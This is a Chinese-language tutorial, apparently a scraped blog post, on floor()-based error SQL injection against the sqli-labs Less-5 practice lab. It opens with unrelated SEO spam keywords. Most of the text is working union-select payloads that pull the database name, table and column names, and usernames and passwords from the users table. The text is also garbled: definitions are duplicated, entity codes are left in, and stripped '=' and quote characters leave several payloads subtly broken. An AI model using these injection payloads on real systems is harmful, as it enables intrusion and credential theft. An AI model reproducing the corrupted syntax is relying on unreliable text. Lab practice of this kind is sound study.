龙江做网站,个人网页制作教程,做网站公司哪家,张槎网站设计rand()函数#xff1a;随机返回0-1之间的小数
floor()函数#xff1a;小数向下取证书。向上取整数ceiling()
concat_ws函数#xff1a;将括号内数据用第一个字段连接起来
group by子句#xff1a;分组语句#xff0c;常用语结合统计函数#xff0c;根据一个或多个列随机返回0-1之间的小数
floor()函数小数向下取证书。向上取整数ceiling()
concat_ws函数将括号内数据用第一个字段连接起来
group by子句分组语句常用语结合统计函数根据一个或多个列对结果集进行分组
as别名
count函数汇总统计数量
limit这里用于显示指定行数
?id0 union select 1,count(*),concat_ws(-,(select concat(~,id,username,:,password) from users limit0,1),floor(rand(0)*2)) as a from information_schema.tables group by a --
rand函数
返回0-1之间的随机一个值 select rand() *2 #计算结果在0-2之间 select rand() from users;#根据users的行数随机显示结果 floor函数
小数向下取整数 concat_ws函数
将括号内数据用第一个字段连接起来
select concat_ws(-,(select database()),floor(rand()*2)); select concat_ws(-,(select database()),floor(rand()*2)) from users;
有多少用户就计算多少次且结果随机 as别名group by分组
select concat_ws(-,(select database()),floor(rand()*2)) as a from users group by a;
分组之前 分组之后 count函数
汇总统计数量
select count(*),concat_ws(-,(select database()),floor(rand()*2)) as a from users group by a; 报错里面出现了dvwa-1可以利用这个地方查询信息 select floor(rand())*2 from users;根据表users的行数随机显示0或1
select floor(rand(0)*2) from users;计算不再随机而是按一定顺序排列
select floor(rand(1)*2) from users;
select count(*),concat_ws(-,(select database())),floor(rand(0)*2) as a from users group by a; #固定报错
select count(*),concat_ws(_,(select database()),floor(rand(1)*2)) as a from users goup by a;#固定不会报错 为什么写成0就会报错
把count(*)去掉不再报错说明是在统计时出现了错误
select count(*),concat_ws(-,(select database()),floor(rand(0)*2)) as a from users group by a; select count(*),concat_ws(_,(select database()),floor(rand(0)*2)) as a from users group by a;
作用是让rand函数产生足够多次数的计算一般使用行数比较多的默认数据表information_schema.tables
union select count(*),concat_ws(-,select group_concat(table_name) from information_schema.tables where table_schemadatabase()),floor(rand(0)*2)) as a from users group by a;#floor报错注入 一次展现的字符串有64位。
本次注入的是sqli-labs的第五关
1.判断是字符型还是数字型
丢一个单引号查看报错提示可以看到是一个单引号闭合方式加上单引号后面跟上--注释掉。页面可以正常显示。 2.判断列数使用order by函数的二分法方式
根据报错可以看出列数是3列 3.查询是否具有内容回显位置
无任何回显无法根据页面正常显示的内容查询出我们所需要的信息 4.使用floor报错提示进行查询
开始构造SQL语句
union select 1,count(*),concat_ws(-,(database()),floor(rand(0)*2)) as a from information_schema.tables group by a --
查询出数据库信息 现在已知数据库查询数据表构造SQL语句
union select 1,count(*),concat_ws(-,(select group_concat(table_name) from information_schema.tables where table_schemadatabase()),floor(rand(0)*2)) as a from information_schema.tables group by a --
查询出数据表 已知数据表查询所有字段构造SQL语句
union select 1,count(*),concat_ws(-,(select group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_nameusers),floor(rand(0)*2)) as a from information_schema.tables group by a -- 已知字段查询字段内容
union select 1,count(*),concat_ws(-,(select group_concat(username,password) from security.users),floor(rand(0)*2)) as a from information_schema.tables group by a -- 使用group_concat无法正常显示尝试使用concat函数
http://sqli-labs:8088/Less-5/?id1 union select 1,count(*),concat_ws(-,(select concat(username,:,password) from security.users limit 0,1),floor(rand(0)*2)) as a from information_schema.tables group by a --
Subquery returns more than 1 row#查询返回一行以上解决使用limit函数从第0行开始反馈1行 查询成功